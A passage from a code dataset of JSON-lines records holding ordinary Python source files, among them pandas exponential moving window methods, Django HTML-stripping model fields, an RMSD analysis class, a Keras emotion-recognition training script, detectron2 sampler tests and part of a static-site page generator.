\"\"\"\n Return an indexer class that will compute the window start and end bounds\n \"\"\"\n return ExponentialMovingWindowIndexer()\n\n @doc(\n _shared_docs[\"aggregate\"],\n see_also=dedent(\n \"\"\"\n See Also\n --------\n pandas.DataFrame.rolling.aggregate\n \"\"\"\n ),\n examples=dedent(\n \"\"\"\n Examples\n --------\n >>> df = pd.DataFrame({\"A\": [1, 2, 3], \"B\": [4, 5, 6], \"C\": [7, 8, 9]})\n >>> df\n A B C\n 0 1 4 7\n 1 2 5 8\n 2 3 6 9\n\n >>> df.ewm(alpha=0.5).mean()\n A B C\n 0 1.000000 4.000000 7.000000\n 1 1.666667 4.666667 7.666667\n 2 2.428571 5.428571 8.428571\n \"\"\"\n ),\n klass=\"Series/Dataframe\",\n axis=\"\",\n )\n def aggregate(self, func, *args, **kwargs):\n return super().aggregate(func, *args, **kwargs)\n\n agg = aggregate\n\n @doc(\n template_header,\n create_section_header(\"Parameters\"),\n args_compat,\n kwargs_compat,\n create_section_header(\"Returns\"),\n template_returns,\n create_section_header(\"See Also\"),\n template_see_also[:-1],\n window_method=\"ewm\",\n aggregation_description=\"(exponential weighted moment) mean\",\n agg_method=\"mean\",\n )\n def mean(self, *args, **kwargs):\n nv.validate_window_func(\"mean\", args, kwargs)\n if self.times is not None:\n window_func = window_aggregations.ewma_time\n window_func = partial(\n window_func,\n times=self.times,\n halflife=self.halflife,\n )\n else:\n window_func = window_aggregations.ewma\n window_func = partial(\n window_func,\n com=self.com,\n adjust=self.adjust,\n ignore_na=self.ignore_na,\n )\n return self._apply(window_func)\n\n @doc(\n template_header,\n create_section_header(\"Parameters\"),\n dedent(\n \"\"\"\n bias : bool, default False\n Use a standard estimation bias correction.\n \"\"\"\n ).replace(\"\\n\", \"\", 1),\n args_compat,\n kwargs_compat,\n create_section_header(\"Returns\"),\n template_returns,\n create_section_header(\"See Also\"),\n template_see_also[:-1],\n window_method=\"ewm\",\n aggregation_description=\"(exponential weighted moment) standard deviation\",\n agg_method=\"std\",\n )\n def std(self, bias: bool = False, *args, **kwargs):\n nv.validate_window_func(\"std\", args, kwargs)\n return zsqrt(self.var(bias=bias, **kwargs))\n\n def vol(self, bias: bool = False, *args, **kwargs):\n warnings.warn(\n (\n \"vol is deprecated will be removed in a future version. \"\n \"Use std instead.\"\n ),\n FutureWarning,\n stacklevel=2,\n )\n return self.std(bias, *args, **kwargs)\n\n @doc(\n template_header,\n create_section_header(\"Parameters\"),\n dedent(\n \"\"\"\n bias : bool, default False\n Use a standard estimation bias correction.\n \"\"\"\n ).replace(\"\\n\", \"\", 1),\n args_compat,\n kwargs_compat,\n create_section_header(\"Returns\"),\n template_returns,\n create_section_header(\"See Also\"),\n template_see_also[:-1],\n window_method=\"ewm\",\n aggregation_description=\"(exponential weighted moment) variance\",\n agg_method=\"var\",\n )\n def var(self, bias: bool = False, *args, **kwargs):\n nv.validate_window_func(\"var\", args, kwargs)\n window_func = window_aggregations.ewmcov\n window_func = partial(\n window_func,\n com=self.com,\n adjust=self.adjust,\n ignore_na=self.ignore_na,\n bias=bias,\n )\n\n def var_func(values, begin, end, min_periods):\n return window_func(values, begin, end, min_periods, values)\n\n return self._apply(var_func)\n\n @doc(\n template_header,\n create_section_header(\"Parameters\"),\n dedent(\n \"\"\"\n other : Series, DataFrame, or ndarray, optional\n If not supplied then will default to self and produce pairwise\n output.\n pairwise : bool, default None\n If False then only matching columns between self and other will be\n used and the output will be a DataFrame.\n If True then all pairwise combinations will be calculated and the\n output will be a MultiIndex DataFrame in the case of DataFrame\n inputs. In the case of missing elements, only complete pairwise\n observations will be used.\n bias : bool, default False\n Use a standard estimation bias correction.\n \"\"\"\n ).replace(\"\\n\", \"\", 1),\n kwargs_compat,\n create_section_header(\"Returns\"),\n template_returns,\n create_section_header(\"See Also\"),\n template_see_also[:-1],\n window_method=\"ewm\",\n aggregation_description=\"(exponential weighted moment) sample covariance\",\n agg_method=\"cov\",\n )\n def cov(\n self,\n other: Optional[FrameOrSeriesUnion] = None,\n pairwise: Optional[bool] = None,\n bias: bool = False,\n **kwargs,\n ):\n from pandas import Series\n\n def cov_func(x, y):\n x_array = self._prep_values(x)\n y_array = self._prep_values(y)\n result = window_aggregations.ewmcov(\n x_array,\n np.array([0], dtype=np.int64),\n np.array([0], dtype=np.int64),\n self.min_periods,\n y_array,\n self.com,\n self.adjust,\n self.ignore_na,\n bias,\n )\n return Series(result, index=x.index, name=x.name)\n\n return self._apply_pairwise(self._selected_obj, other, pairwise, cov_func)\n\n @doc(\n template_header,\n create_section_header(\"Parameters\"),\n dedent(\n \"\"\"\n other : Series, DataFrame, or ndarray, optional\n If not supplied then will default to self and produce pairwise\n output.\n pairwise : bool, default None\n If False then only matching columns between self and other will be\n used and the output will be a DataFrame.\n If True then all pairwise combinations will be calculated and the\n output will be a MultiIndex DataFrame in the case of DataFrame\n inputs. In the case of missing elements, only complete pairwise\n observations will be used.\n \"\"\"\n ).replace(\"\\n\", \"\", 1),\n kwargs_compat,\n create_section_header(\"Returns\"),\n template_returns,\n create_section_header(\"See Also\"),\n template_see_also[:-1],\n window_method=\"ewm\",\n aggregation_description=\"(exponential weighted moment) sample correlation\",\n agg_method=\"corr\",\n )\n def corr(\n self,\n other: Optional[FrameOrSeriesUnion] = None,\n pairwise: Optional[bool] = None,\n **kwargs,\n ):\n from pandas import Series\n\n def cov_func(x, y):\n x_array = self._prep_values(x)\n y_array = self._prep_values(y)\n\n def _cov(X, Y):\n return window_aggregations.ewmcov(\n X,\n np.array([0], dtype=np.int64),\n np.array([0], dtype=np.int64),\n self.min_periods,\n Y,\n self.com,\n self.adjust,\n self.ignore_na,\n 1,\n )\n\n with np.errstate(all=\"ignore\"):\n cov = _cov(x_array, y_array)\n x_var = _cov(x_array, x_array)\n y_var = _cov(y_array, y_array)\n result = cov / zsqrt(x_var * y_var)\n return Series(result, index=x.index, name=x.name)\n\n return self._apply_pairwise(self._selected_obj, other, pairwise, cov_func)\n\n\nclass ExponentialMovingWindowGroupby(BaseWindowGroupby, ExponentialMovingWindow):\n \"\"\"\n Provide an exponential moving window groupby implementation.\n \"\"\"\n\n @property\n def _constructor(self):\n return ExponentialMovingWindow\n\n def _get_window_indexer(self) -> GroupbyIndexer:\n \"\"\"\n Return an indexer class that will compute the window start and end bounds\n\n Returns\n -------\n GroupbyIndexer\n \"\"\"\n window_indexer = GroupbyIndexer(\n groupby_indicies=self._groupby.indices,\n window_indexer=ExponentialMovingWindowIndexer,\n )\n return window_indexer\n\n var = dispatch(\"var\", bias=False)\n std = dispatch(\"std\", bias=False)\n cov = dispatch(\"cov\", other=None, pairwise=None, bias=False)\n corr = dispatch(\"corr\", other=None, pairwise=None)\n\n def mean(self, engine=None, engine_kwargs=None):\n \"\"\"\n Parameters\n ----------\n engine : str, default None\n * ``'cython'`` : Runs mean through C-extensions from cython.\n * ``'numba'`` : Runs mean through JIT compiled code from numba.\n Only available when ``raw`` is set to ``True``.\n * ``None`` : Defaults to ``'cython'`` or globally setting\n ``compute.use_numba``\n\n .. versionadded:: 1.2.0\n\n engine_kwargs : dict, default None\n * For ``'cython'`` engine, there are no accepted ``engine_kwargs``\n * For ``'numba'`` engine, the engine can accept ``nopython``, ``nogil``\n and ``parallel`` dictionary keys. The values must either be ``True`` or\n ``False``. The default ``engine_kwargs`` for the ``'numba'`` engine is\n ``{'nopython': True, 'nogil': False, 'parallel': False}``.\n\n .. versionadded:: 1.2.0\n\n Returns\n -------\n Series or DataFrame\n Return type is determined by the caller.\n \"\"\"\n if maybe_use_numba(engine):\n groupby_ewma_func = generate_numba_groupby_ewma_func(\n engine_kwargs,\n self.com,\n self.adjust,\n self.ignore_na,\n )\n return self._apply(\n groupby_ewma_func,\n numba_cache_key=(lambda x: x, \"groupby_ewma\"),\n )\n elif engine in (\"cython\", None):\n if engine_kwargs is not None:\n raise ValueError(\"cython engine does not accept engine_kwargs\")\n\n def f(x):\n x = self._shallow_copy(x, groupby=self._groupby)\n return x.mean()\n\n return self._groupby.apply(f)\n else:\n raise ValueError(\"engine must be either 'numba' or 'cython'\")\n", "source": "MicaelJarniac/pandas", "license": "PSF-2.0"} {"text": "from typing import Any\nfrom django.db import models\nfrom django.utils.html import strip_tags\n\n\nclass SafeCharField(models.CharField):\n \"\"\"\n CharField which strips HTML tags from form data on save.\n \"\"\"\n\n _pyi_private_set_type: str # for mypy_django_plugin\n _pyi_private_get_type: str # for mypy_django_plugin\n _pyi_lookup_exact_type: Any # for mypy_django_plugin\n\n def save_form_data(self, instance, data):\n setattr(instance, self.name, strip_tags(str(data)) if data else data)\n\n\nclass SafeTextField(models.TextField):\n \"\"\"\n TextField which strips HTML tags from form data on save.\n \"\"\"\n\n _pyi_private_set_type: str # for mypy_django_plugin\n _pyi_private_get_type: str # for mypy_django_plugin\n _pyi_lookup_exact_type: Any # for mypy_django_plugin\n\n def save_form_data(self, instance, data):\n setattr(instance, self.name, strip_tags(str(data)) if data else data)\n", "source": "bachvtuan/django-jutil", "license": "MIT"} {"text": "import numpy as np\nimport pandas as pd\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom MDAnalysis.analysis import rms, align\nfrom analysis import DatasetAnalysis, cached\n\nclass RMSD(DatasetAnalysis):\n\n def get_rmsds(self, **kwargs):\n rmsds = np.zeros((2, self.n_traj, self.n_frames))\n\n for i, u in enumerate(self._data):\n a = align.AlignTraj(u, u, in_memory=True).run()\n r = rms.RMSD(u, select='all').run()\n rmsds[0][i] = r.rmsd[:, -1]\n sel = 'index ' + ' '.join(list(map(str, self.tmd)))\n a = align.AlignTraj(u, u, select=sel).run()\n r = rms.RMSD(u.atoms[self.tmd]).run()\n rmsds[1][i] = r.rmsd[:, -1]\n\n rmsds /= 10 # nanometers\n\n arr = np.concatenate(rmsds, axis=1) # (n_traj, 2*n_frames)\n df = pd.DataFrame(arr.T, columns=self._data.sim_labels)\n domains = [r'C$\\alpha$', r'TMD C$\\alpha$']\n domain_labels = np.repeat(domains, self.n_frames)\n df['Domain'] = domain_labels\n df['Time (ns)'] = np.concatenate([self.time_ns, self.time_ns])\n tidy = df.melt(id_vars=['Time (ns)', 'Domain'],\n value_vars=self._data.sim_labels,\n var_name='Simulation',\n value_name='RMSD (nm)')\n tidy['Force field'] = [x.split('#')[0].strip() for x in tidy['Simulation']]\n\n return tidy\n\n @cached\n def rmsds(self):\n return self.get_rmsds(filename=\"rmsds.csv\")\n\n def plot(self, height=3, aspect=1.5, sharey='row'):\n g = sns.FacetGrid(self.rmsds, row='Domain', col='Force field',\n hue='Simulation', palette=self._data.color_labels,\n height=height, aspect=aspect, margin_titles=True,\n sharey=sharey)\n g.map(sns.lineplot, 'Time (ns)', 'RMSD (nm)', ci=None)\n g.set_titles('{col_name}')\n plt.tight_layout()\n self.save_fig('rmsds.tif', g=g)\n return g\n\n def plot_moving_average(self, height=3, aspect=1.5, sharey='row', window=5):\n\n g = sns.FacetGrid(self.rmsds, row='Domain', col='Force field',\n hue='Simulation', palette=self._data.color_labels,\n height=height, aspect=aspect, margin_titles=True,\n sharey=sharey)\n g.map_dataframe(self.plot_average, x='Time (ns)', y='RMSD (nm)', ci=None, window=window)\n g.set_axis_labels(\"Time (ns)\", \"RMSD (nm)\")\n g.set_titles(col_template=\"{col_name}\", row_template=\"{row_name}\")\n plt.tight_layout()\n self.save_fig(f'rmsds_moving_average_{window:d}.tif', g=g)\n return g\n\n def plot_average(self, data=None, x=None, y=None, ci=None, window=5, color=None, label=None, **kwargs):\n df = data\n values = df[\"RMSD (nm)\"].values\n avg = []\n lower = window // 2\n for i in range(1, lower+1):\n x = values[:i].mean()\n avg.append(x)\n for i in range(len(values) - window + 1):\n avg.append(values[i:i+window].mean())\n for i in list(range(1, lower+1))[::-1]:\n x = values[-i:].mean()\n avg.append(x)\n sns.lineplot(x=df[\"Time (ns)\"].values, y=avg, color=color, ci=None, label=label, **kwargs)\n", "source": "OMaraLab/Pgp_forcefields", "license": "MIT"} {"text": "\"\"\"Serveradmin - adminapi\n\nCopyright (c) 2021 InnoGames GmbH\n\"\"\"\n\nVERSION = (4, 3, 0)\n", "source": "YannikSc/serveradmin", "license": "MIT"} {"text": "\nfrom info import __doc__, __all__\n\nfrom numpy.testing import Tester\ntest = Tester().test\n", "source": "lesserwhirls/scipy-cwt", "license": "BSD-3-Clause"} {"text": "# -*- coding: utf-8 -*-\r\n\r\nfrom keras.preprocessing.image import ImageDataGenerator\r\nfrom keras.models import Sequential\r\nfrom keras.layers import Convolution2D, MaxPooling2D\r\nfrom keras.layers import Activation, Dropout, Flatten, Dense\r\nfrom keras.optimizers import SGD, RMSprop\r\nfrom keras.utils.np_utils import to_categorical\r\nfrom keras.layers.normalization import BatchNormalization\r\nfrom keras.callbacks import EarlyStopping\r\nfrom keras.callbacks import ModelCheckpoint\r\nfrom keras.optimizers import Adadelta\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\n\r\ndata = pd.read_csv(\"fer2013.csv\")\r\nimage_height, image_width = 48, 48\r\n\r\nX_train = np.zeros((28709, 1, 48, 48), dtype=int)\r\nY_train = np.zeros((28709, 7), dtype=int)\r\nfor i in range(0, 28709):\r\n X = data['pixels'][i]\r\n X_train[i] = np.fromstring(X, dtype=int, sep=\" \").reshape(1, image_height, image_width)\r\n Y = data['emotion'][i]\r\n Y_train[i][Y] = 1\r\n \r\nX_test = np.zeros((3589, 1, 48, 48), dtype=int)\r\nY_test = np.zeros((3589, 7), dtype=int)\r\ncounter = 0\r\nfor i in range(28710, 32299):\r\n X = data['pixels'][i]\r\n X_test[counter] = np.fromstring(X, dtype=int, sep=\" \").reshape(1, image_height, image_width)\r\n Y = data['emotion'][i]\r\n Y_test[counter][Y] = 1\r\n counter += 1\r\n \r\n##data augmentation:\r\n#datagen = ImageDataGenerator(\r\n# featurewise_center=False, # set input mean to 0 over the dataset\r\n# samplewise_center=False, # set each sample mean to 0\r\n# featurewise_std_normalization=False, # divide inputs by std of the dataset\r\n# samplewise_std_normalization=False, # divide each input by its std\r\n# zca_whitening=False, # apply ZCA whitening\r\n# rotation_range=40, # randomly rotate images in the range (degrees, 0 to 180)\r\n# width_shift_range=0.2, # randomly shift images horizontally (fraction of total width)\r\n# height_shift_range=0.2, # randomly shift images vertically (fraction of total height)\r\n# horizontal_flip=True, # randomly flip images\r\n# vertical_flip=False, data_format='channels_first') # randomly flip images\r\n\r\n#model architecture:\r\nmodel = Sequential()\r\n\r\nmodel.add(Convolution2D(64, 3, 3, border_mode='same', activation='relu',\r\n input_shape=(1, X_train.shape[2], X_train.shape[3])))\r\n#model.add(BatchNormalization(axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, beta_initializer='zeros', gamma_initializer='ones', moving_mean_initializer='zeros', moving_variance_initializer='ones', beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, gamma_constraint=None))\r\n#model.add(Convolution2D(32, 3, 3, border_mode='same', activation='relu'))\r\n#model.add(MaxPooling2D(pool_size=(2, 2), dim_ordering='th'))\r\n\r\nmodel.add(Convolution2D(64, 3, 3, border_mode='same', activation='relu'))\r\n#model.add(Convolution2D(64, 3, 3, border_mode='same', activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2), dim_ordering='th'))\r\nmodel.add(Dropout(0.2))\r\n\r\nmodel.add(Convolution2D(128, 3, 3, border_mode='same', activation='relu'))\r\nmodel.add(Convolution2D(128, 3, 3, border_mode='same', activation='relu'))\r\nmodel.add(MaxPooling2D(pool_size=(2, 2), dim_ordering='th'))\r\nmodel.add(Dropout(0.2))\r\n\r\nmodel.add(Convolution2D(256, 3, 3, border_mode='same', activation='relu'))\r\nmodel.add(Convolution2D(256, 3, 3, border_mode='same', activation='relu'))\r\nmodel.add(Dropout(0.3))\r\n\r\nmodel.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors\r\nmodel.add(Dense(64, activation='relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(64, activation='relu'))\r\nmodel.add(Dropout(0.5))\r\nmodel.add(Dense(7, activation='softmax'))\r\n\r\n# optimizer:\r\nmodel.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy'])\r\nmodel.summary()\r\n\r\nprint('Training....')\r\n\r\n#datagen.fit(X_train)\r\n#\r\n#model.fit_generator(datagen.flow(X_train, Y_train, batch_size=128), \r\n# steps_per_epoch=len(X_train)/128, epochs=100, \r\n# callbacks=[ModelCheckpoint(\"fer_{epoch:02d}-{val_acc:.2f}.hdf5\", monitor='acc', verbose=0, save_best_only=False, save_weights_only=False, mode='auto', period=5)],\r\n# validation_data=(X_test, Y_test))\r\n\r\nmodel.fit(X_train, Y_train, epochs=200, batch_size=512,\r\n validation_split=0.3, shuffle=True, verbose=1,\r\n callbacks=[ModelCheckpoint(\"fer_{epoch:02d}-{acc:.2f}.hdf5\", monitor='acc', verbose=0, save_best_only=False, save_weights_only=False, mode='auto', period=5)])\r\n\r\n# model result:\r\ntrain_score = model.evaluate(X_train, Y_train, batch_size=256, verbose=1)\r\nprint('\\nTraining Loss: ', train_score[0])\r\nprint('Training Accuracy: ', train_score[1])\r\ntest_score = model.evaluate(X_test, Y_test, batch_size=256, verbose=1)\r\nprint('\\nTest Loss: ', test_score[0])\r\nprint('Test Accuracy: ', test_score[1])\r\n\r\n\r\n#model.save(\"FER {}%\".format(str(test_score[1])[2:4]))\r\nprint(\"Network trained and saved as FER\")\r\n\r\n", "source": "RudradeepGuha/Emotionless", "license": "MIT"} {"text": "from .test import test_img\r\nfrom .validate import val\r\n", "source": "lmk123568/Paddle_Model_Analysis", "license": "MIT"} {"text": "from django.conf import settings\n\nimport boto3\n\n\n# Used by bulk and baby download\ndef sqs_queue(region_name=settings.CSV_AWS_REGION, QueueName=settings.CSV_SQS_QUEUE_NAME):\n # stuff that's in get_queue\n sqs = boto3.resource('sqs', region_name=region_name)\n queue = sqs.get_queue_by_name(QueueName=QueueName)\n return queue\n", "source": "animatecitizen/usaspending-api", "license": "CC0-1.0"} {"text": "# Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved.\nimport itertools\nimport operator\nimport unittest\nfrom torch.utils import data\nfrom torch.utils.data.sampler import SequentialSampler\n\nfrom detectron2.data.build import worker_init_reset_seed\nfrom detectron2.data.common import DatasetFromList, ToIterableDataset\nfrom detectron2.data.samplers import GroupedBatchSampler, TrainingSampler\nfrom detectron2.utils.env import seed_all_rng\n\n\nclass TestGroupedBatchSampler(unittest.TestCase):\n def test_missing_group_id(self):\n sampler = SequentialSampler(list(range(100)))\n group_ids = [1] * 100\n samples = GroupedBatchSampler(sampler, group_ids, 2)\n\n for mini_batch in samples:\n self.assertEqual(len(mini_batch), 2)\n\n def test_groups(self):\n sampler = SequentialSampler(list(range(100)))\n group_ids = [1, 0] * 50\n samples = GroupedBatchSampler(sampler, group_ids, 2)\n\n for mini_batch in samples:\n self.assertEqual((mini_batch[0] + mini_batch[1]) % 2, 0)\n\n\nclass TestSamplerDeterministic(unittest.TestCase):\n def test_to_iterable(self):\n sampler = TrainingSampler(100, seed=10)\n dataset = DatasetFromList(list(range(100)))\n dataset = ToIterableDataset(dataset, sampler)\n data_loader = data.DataLoader(dataset, num_workers=0, collate_fn=operator.itemgetter(0))\n\n output = list(itertools.islice(data_loader, 100))\n self.assertEqual(set(output), set(range(100)))\n\n data_loader = data.DataLoader(\n dataset,\n num_workers=2,\n collate_fn=operator.itemgetter(0),\n worker_init_fn=worker_init_reset_seed,\n # reset seed should not affect behavior of TrainingSampler\n )\n output = list(itertools.islice(data_loader, 100))\n # multiple workers should not lead to duplicate or different data\n self.assertEqual(set(output), set(range(100)))\n\n def test_training_sampler_seed(self):\n seed_all_rng(42)\n sampler = TrainingSampler(30)\n data = list(itertools.islice(sampler, 65))\n\n seed_all_rng(42)\n sampler = TrainingSampler(30)\n seed_all_rng(999) # should be ineffective\n data2 = list(itertools.islice(sampler, 65))\n self.assertEqual(data, data2)\n", "source": "aminekechaou/detectron2", "license": "Apache-2.0"} {"text": "#!/usr/bin/env python\nimport marlo\nfrom marlo import MarloEnvBuilderBase\nfrom marlo import MalmoPython\n\n\nimport os\nfrom pathlib import Path\n\n\nclass MarloEnvBuilder(MarloEnvBuilderBase):\n \"\"\"\n Description: \n The goal of this mission is for the agent to reach the end of the cliff maze\n and to pick up the diamond item laying at the end of it. The walking cliff\n is surrounded by lava and the walking terrain itself has holes to fall\n through.\n \n Actions available:\n Move\n\t\tJumpmove\n\t\tStrafe\n\t\tTurn\n\t\tMovenorth, Moveeast, Movesouth, Movewest\n\t\tJumpnorth, Jumpeast, Jumpsouth, Jumpeast\n\t\tJump\n\t\tLook\n\t\tUse\n\t\tJumpuse\n \n Rewards:\n -100 points for falling in lava\n 100 points for reaching the end goal\n -1 points for every step taken\n \"\"\"\n\n def __init__(self, extra_params={}):\n super(MarloEnvBuilder, self).__init__(\n templates_folder = os.path.join(\n str(Path(__file__).parent),\n \"templates\"\n )\n )\n self.params = self._default_params()\n # You can do something with the extra_params if you wish\n self.params.update(extra_params)\n\n def _default_params(self):\n _default_params = super(MarloEnvBuilder, self).default_base_params\n _default_params.update(\n dict(\n tick_length=50,\n agent_names=[\"MarLo-agent0\"],\n episode_timelimit=60000\n )\n )\n return _default_params\n\n def render_mission_spec(self):\n \"\"\"\n TODO: Randomize location of food items\n \"\"\"\n template = self.jinj2_env.get_template(\"mission.xml\")\n return template.render(\n params=self.params\n )\n\n\nif __name__ == \"__main__\":\n env_builder = MarloEnvBuilder()\n print(env_builder.params)\n print(env_builder.params.experiment_id)\n mission_xml = env_builder.render_mission_spec()\n mission_spec = MalmoPython.MissionSpec(mission_xml, True)\n print(mission_spec.getSummary())\n", "source": "spMohanty/marlo", "license": "MIT"} {"text": "name = input(\"Put your name : \").capitalize()\nlastName = input(\"Put your last name : \").capitalize()\nprint(\"Hello !! %s %s !\" % (name,lastName))\n\ntext = \"Zeno\"\ntextFormatted = \"Welcome %s\"%(name)\nprint(textFormatted.center(21,\"-\"))\nprint(len(name))", "source": "ZnoKunG/PythonProject", "license": "MIT"} {"text": "\n\"\"\"This module provides functionality to manage a Page entity.\n\nClasses included:\n\n - Page: Manages creation, loading, rendering, writing, etc. of\n a \"page\" in a site. This structure refers to the \"source\"\n page.\n\n\"\"\"\n\nimport os\nimport datetime\nimport glob\nimport shutil\nimport codecs\nimport uuid\n\nfrom mako.template import Template\nfrom mako.lookup import TemplateLookup\nfrom mako.runtime import Context\nfrom StringIO import StringIO\n\nimport markdown\nimport mdx_mathjax\n\nimport util\n\n\n\nclass Page(object):\n \"\"\"Represent a Page and provide tools for creation, management, etc.\n\n When an object of this class is created, it's necessary to pass a\n reference to a site, since a Page is created/managed/rendered in the\n context of a site.\n\n If a page name is passed on creation, the program will check whether\n it exists in the site. If it does, it loads the page source and\n parses it (setting the instance variables accordingly.) If it does\n not exist, it only creates the instance variables that it can.\n\n \"\"\"\n\n def __init__(self, site, ptitle, isslug=False):\n \"\"\"Initialize the page object created.\n\n Arguments:\n\n - ptitle: A string with the page title.\n\n - isslug: Boolean that indicates whether the title is a\n \"real\" title (with spaces, etc.) or if it is\n the \"sanitized\" version (lower case, no spaces,\n underscores, no punctuation)\n\n This way of encoding the initialization parameters makes it\n easy to automatically initialize the object whether it is for\n creation of a new page, or it is to load an existing page.\n\n If \"isslug\" is omitted or false, the program assumes that we\n want to create a new page with that title (although it will\n check). It \"sanitized\" is true, it's supposed to be the\n reference to an existing page, and the program will try to load\n the pertinent information.\n\n \"\"\"\n self.site = site\n self._config = None\n\n self._exists_on_disk = None\n\n self._slug = None\n self._title = None\n self._content = None\n\n self._dirs = {'www_dir': None,\n 'www_filename': None,\n 'source_dir': None,\n 'source_filename': None\n }\n #self._dir = None\n #self._file_name = None\n #self._mathjax = mdx_mathjax.MathJaxExtension()\n\n if not isslug: #it's a title, we'll create a page\n self._create(ptitle)\n else:\n if self.site.page_exists_on_disk(ptitle):\n self._exists_on_disk = True\n self._load(ptitle)\n else:\n raise ValueError\n #print \"Specified slug does not exist.\"\n\n def __repr__(self): # pragma: no cover\n return '\\n'.join([str(self._slug), str(self._title),\n str(self._content)])\n\n def _create(self, rawtitle):\n \"\"\"Create a page with this title, if it doesn't exist.\n\n This method first checks whether a page with the same slug\n (sanitized name) exists_on_disk. If it does, it doesn't do antyhing.\n Otherwise, the relevant attributes are created.\n Nothing is written to disc (to the source file). You must call\n the write_page method to do that. Doing it this way, after\n creation you can call a method to add random text, for example,\n before committing the page to disk.\n\n \"\"\"\n slug = util.make_slug(rawtitle)\n if self.site.page_exists_on_disk(slug):\n raise ValueError\n #print \"Attempted to create a page which already exists.\"\n #return False\n\n self._title = unicode(rawtitle,\"UTF-8\")\n self._slug = slug\n\n self._dirs['source_dir'] = os.path.join(self.site.dirs['source'], slug)\n self._dirs['source_filename'] = os.path.join(self._dirs['source_dir'],\n slug + '.md')\n\n self._dirs['www_dir'] = os.path.join(self.site.dirs['www'], slug)\n self._dirs['www_filename'] = os.path.join(self._dirs['www_dir'], \\\n 'index.html')\n self._config = self._create_config()\n return True\n\n def write(self):\n \"\"\"Write the s2 page to the corresponding source file.\n\n It always writes the (serialized) config first, and then the\n content (normally markdown). The destination file is in the\n source_dir of the site.\n\n \"\"\"\n if not os.path.isdir(self._dirs['source_dir']):\n os.mkdir(self._dirs['source_dir'])\n\n fout = codecs.open(self._dirs['source_filename'], 'w', encoding=\"utf-8\", errors=\"xmlcharrefreplace\")\n fout.write(self._config_to_text())\n if self._content:\n fout.write('\\n')\n fout.write(self._content)\n fout.write('\\n')\n fout.close()\n\n def rename(self, new_title):\n \"\"\"Rename an existing s2 page.\n\n For an existing s2 page, updates the directory and file name,\n as well as the internal configuration information (since it\n contains the title and the slug)\n\n \"\"\"\n if not isinstance(new_title, str) and \\\n not isinstance(new_title, unicode):\n raise TypeError\n # print \"Cannot rename page. New title must be string or unicode.\"\n\n new_slug = util.make_slug(new_title)\n if self.site.page_exists_on_disk(new_slug):\n raise ValueError\n # print \"Cannot rename page. A page with the same \\\n # title/slug already exists.\"\n\n #wipe the source directory for this page\n shutil.rmtree(self._dirs['source_dir'])\n\n #just change dirinfo, config, and write\n self._title = new_title\n self._slug = new_slug\n self._config['title'] = [self._title]\n self._config['slug'] = [self._slug]\n\n self._dirs['source_dir'] = os.path.join(self.site.dirs['source'],\n new_slug)\n self._dirs['source_filename'] = os.path.join(self._dirs['source_dir'],\n new_slug + '.md')\n\n self._dirs['www_dir'] = os.path.join(self.site.dirs['www'], new_slug)\n #self._dirs['www_filename'] = os.path.join(self._dirs['www_dir'], \\\n # new_slug + '.html')\n self.write()\n\n\n def render(self):\n \"\"\"Render this page and return the rendition.\n\n Converts the markdown content to html, and then renders the\n (mako) template specified in the config, using that html.\n\n The task of writing of the rendition to a real file is\n responsibility of the generate method.\n\n \"\"\"\n (pthemedir, ptemplatefname) = self._theme_and_template_fp()\n\n mylookup = TemplateLookup(directories=[self.site.dirs['s2'], pthemedir], input_encoding='utf-8', output_encoding='utf-8')\n\n\n makotemplate = Template(filename=ptemplatefname, lookup=mylookup,\n module_directory=self.site._makodir)\n\n # I don't really need to use the meta extension here, because I render self._content (has no metadata)\n #page_html = markdown.markdown(self._content)\n\n md = markdown.Markdown(extensions=['meta','fenced_code', 'codehilite'],output_format=\"html5\")\n page_html = md.convert(self._content) # need to trigger the conversion to obtain md.Meta\n\n # We assume that the page is always in a dir one level below www\n themepath = \"../themes/\" + os.path.split(pthemedir)[1] + '/'\n commonpath = \"../common/\"\n\n # HERE I'll pass the config variable to the mako template, so I can use the title etc.\n #buf = StringIO()\n #ctx = Context(buf, dict(pageContent=page_html, isFrontPage=False, themePath=themepath, pageTitle='pedo',\n # commonPath=commonpath))\n #makotemplate.render_context(ctx)\n #rendition = buf.getvalue()\n\n # IS THERE `PIWIK CODE?\n # IS THERE DISQUS CODE?\n # READ from s2 if there's disqus_code.html.tpl and piwik_code.html.tpl\n # if there's piwik, just define the variable piwik_code with its contents\n # if there's disqus... nested render?\n # HERE I NEED TO DIRECTLY INCLUDE A TEMPLATE IN ANOTHER TEMPLATE!!! MAKO!\n #d_sn = self.site.site_config['disqus_shortname']\n #if d_sn: # the site uses disqus\n piwik_code = None\n disqus_code, disqus_shortname, disqus_identifier, disqus_title, disqus_url= None, None, None, None, None\n\n piwik_code_tpl = os.path.join(self.site.dirs['s2'],'piwik_code.html.tpl')\n if os.path.isfile(piwik_code_tpl):\n piwik_code = '/piwik_code.html.tpl'\n\n disqus_code_tpl = os.path.join(self.site.dirs['s2'],'disqus_code.html.tpl')\n if os.path.isfile(disqus_code_tpl):\n disqus_code = '/disqus_code.html.tpl'\n disqus_shortname = self.site.site_config['disqus_shortname']\n disqus_identifier = self._config['page_id'][0]\n disqus_title = self.title\n disqus_url = os.path.join(self.site.site_config['site_url'],self._slug)\n\n rendition = makotemplate.render(pageContent=page_html,isFrontPage=False,\n themePath=themepath,\n commonPath=commonpath,\n pageTitle=self.title,\n piwik_code=piwik_code,\n disqus_code=disqus_code,\n disqus_shortname = disqus_shortname,\n disqus_identifier = disqus_identifier,\n disqus_url = disqus_url,\n disqus_title= disqus_title)\n return rendition\n\n # test generate should copy all other pages and dirs in the page\n # directory, except those in a especially named folder!\n def generate(self):\n \"\"\"Generate the page html file.\n\n Just open the destination file for writing and write the result\n of rendering this page.\n\n \"\"\"\n generated_content = ''\n if 'published' in (self._config['status'][0]).lower():\n if os.path.isdir(self.dirs['www_dir']):\n shutil.rmtree(self.dirs['www_dir'])\n os.mkdir(self.dirs['www_dir'])\n # copy the whole source directory of the page,\n # excluding 'nowww' and *s2md\n sfl = glob.glob(os.path.join(self.dirs['source_dir'], \"*\"))\n dirlist = [f for f in sfl 